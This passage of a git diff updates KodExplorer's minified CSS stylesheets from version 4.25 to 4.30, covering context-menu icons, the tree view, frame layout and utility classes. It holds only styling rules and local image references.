.form-row .setting-title{ text-align:left;} html .form-box .form-row.form-userSelect .setting-content{ padding:10px 5%;} html .form-box .form-row .setting-content{ width:90%;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{ width:100%;height:40px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{ left:0px;top:80px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{ float:left;} html #body.plugin-page .app-menu-left .line, html body.plugin-page .app-menu-left .line{ padding:4px 0;} html body #body .menu-left, html body #body .app-menu-left{ width:50px;min-width:50px;} html body #body .menu-left h1, html body #body .app-menu-left h1{ font-size:14px;font-weight:800 !important;padding:10px 0px 10px 0px;text-align:center;} html body #body .menu-left .font-icon, html body #body .app-menu-left .font-icon{ padding-right:30px;} html #body .setting-tools-right, html body .setting-tools-right{ top:0;} html #body .main .nav a, html body .main .nav a{ padding:5px 10px;} html #body .main .nav, html body .main .nav{ margin-right:0px;} html #body .setting-tab, html body .setting-tab, html #body .system-content, html body .system-content{ margin-right:10px;} html #body .main, html body .main{ left:50px;width:auto;margin-right:10px;} html .form-box .form-row .desc, html .form-box .form-row .setting-content i{ display:block;} html #body .setting-tab .form-row, html body .setting-tab .form-row, html #body .system-content .form-row, html body .system-content .form-row{ background:#fafafa;border-radius:4px;padding:0 5px;} html .form-box .form-row .setting-title{ height:20px;line-height:20px;} html .form-box .form-row{ padding:0;} html .form-box .form-row input[type='text'], html .form-box .form-row input[type='password'], html .form-box .form-row input[type='number']{ width:180px;} html .form-box .form-row #wallpage-url{ width:150px !important;} html #body .main .section .content .box p, html body .main .section .content .box p{ text-indent:10px;} html #body .system-content.setting-member{ width:800px;} html body.setting-page .select-user-group .right-content, html body.setting-page .select-user-group .left-content{ width:170px;} html .topbar .content .top-right ul.dropdown-menu.topbar-language{ width:235px;max-height:800px;} html #body .main .section .box, html body .main .section .box{ margin-right:10px;} html #body .main .section .box .list, html body .main .section .box .list{ width:95px;height:95px;} html #body .main .section .box .list .ico, html body .main .section .box .list .ico{ width:75px;height:60px;} html #body .panel, html body .panel{ margin-right:0px;} html #body .main.app-content .app-list .app-li, html body .main.app-content .app-list .app-li{ margin:0 5px 20px 0;width:130px;} html #body .main.app-content .app-model, html body .main.app-content .app-model{ padding:10px;} html #body .menu-left .setting a, html body .menu-left .setting a{ text-indent:6px;} html .file-list-list .file .filename, html #main-title .filename, html .file-list-list .file .filetime, html #main-title .filetime{ width:100px;} html .file-list-list .file .filetype, html #main-title .filetype, html .file-list-list .file .filesize, html #main-title .filesize{ width:30px;} html .desktop .file-list-icon{ width:92%;} html .topbar .content .btn-wap-menu{ display:block !important;visibility:visible !important;position:absolute;text-align:center;z-index:100;color:#bbb;left:0;top:0;padding:0;background:rgba(0,0,0,0.05);width:45px;height:38px;line-height:40px;} html .topbar .content .btn-wap-menu i.font-icon{ padding-right:0;} html .topbar .content .top-left.collapse{ display:none;} html .topbar .content .top-left{ width:170px;height:auto;background:#fff;color:#666;position:absolute;left:45px;z-index:100;border:1px solid rgba(0,0,0,0.1);box-shadow:0 4px 30px rgba(0,0,0,0.15);} html .topbar .content .top-left .topbar-menu.title{ display:none;} html .topbar .content .top-left .topbar-menu{ float:none;border:none;} html .topbar .content .top-left .menu-group{ display:block;width:100%;height:auto;} html .topbar .content .top-left .menu-group a.topbar-menu{ display:none;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu{ display:block;position:static;border-top:2px solid #ddd;box-shadow:none;border:none;width:100%;padding:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li{ height:auto;width:100%;margin:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a{ text-align:left;padding:0px 1.2em;border-radius:0;height:40px;line-height:40px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a i, html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a img{ font-size:13px;width:25px;height:20px;line-height:20px;display:inline-block;background-color:transparent;color:#666;position:relative;top:-16px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a span{ display:inline-block;padding-top:0;} html .frame-main .bottom-box .cell{ width:80%;margin-top:5px;} html .frame-main .bottom-box .cell i{ display:inline-block;font-size:18px;} html .topbar.share-page-topbar .top-left{ position:static;} html .topbar.share-page-topbar .content .top-left .share-info{ position:absolute;left:0;top:0;z-index:999;} html .topbar.share-page-topbar .content .top-left .share-info .size, html .topbar.share-page-topbar .content .top-left .share-info .time{ display:none;} html .topbar.share-page-topbar .content .top-left .share-info .share-title-info{ background:#fff;font-size:13px;color:#444;} html .topbar.share-page-topbar .top-right .share-info-user .info{ display:none;} html .topbar.share-page-topbar .top-right .btn-download{ padding:4px 6px !important;} html .share-page-main .content-box.show-code{ width:100%;height:100%;border:none;top:0px;left:0;padding:0;margin:0;} html body#page-desktop .topbar .content .btn-wap-menu{ color:#fff;} html body#page-desktop .topbar .content .top-left{ background:rgba(0,0,0,0.7);}}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list.menu-auto-fit{top:5px !important;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 15px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:16px;text-align:center;font-size:1.2em;color:#aaa;margin-right:15px;vertical-align:middle;margin-top:-2px;padding:0;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;pointer-events:auto;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line-top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-tree-self{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-tree-self:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-tree-fav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.x-tree-fav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open-the-path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open-the-path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute-to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute-to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy-to .font-icon,.context-menu-list .context-menu-item.copy-see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy-to .font-icon:before,.context-menu-list .context-menu-item.copy-see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:15px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;position:relative;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:24px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:0;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}.ztree li a .menu-item{display:none;position:absolute;right:4px;top:4px;width:14px;height:13px;box-sizing:content-box;text-align:center;border:1px solid #ccc;background:#fff;border-radius:2px;cursor:pointer;z-index:50;}.ztree li a .menu-item:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.ztree li a .menu-item:hover .cert{border-top-color:#3399ff;}.ztree li a .menu-item .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.ztree li a:hover .menu-item,.ztree li a.curSelectedNode .menu-item{display:block;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resize-mask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} -/* ver 4.25(2017-12-04) [build 1512368387.7915] */ \ No newline at end of file +/* power by kodexplorer ver 4.30(2018-07-05) [build 1530795188.8407] */ +@import url('./fileIcon.css'); +@import url('./common.css'); +.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resize-mask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} +/* ver 4.30(2018-07-05) [build 1530795188.8407] */ \ No newline at end of file diff --git a/static/style/skin/base/app_explorer.css b/static/style/skin/base/app_explorer.css index 79ef862..19d976d 100755 --- a/static/style/skin/base/app_explorer.css +++ b/static/style/skin/base/app_explorer.css @@ -1,4 +1,6 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368388.3244] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-ri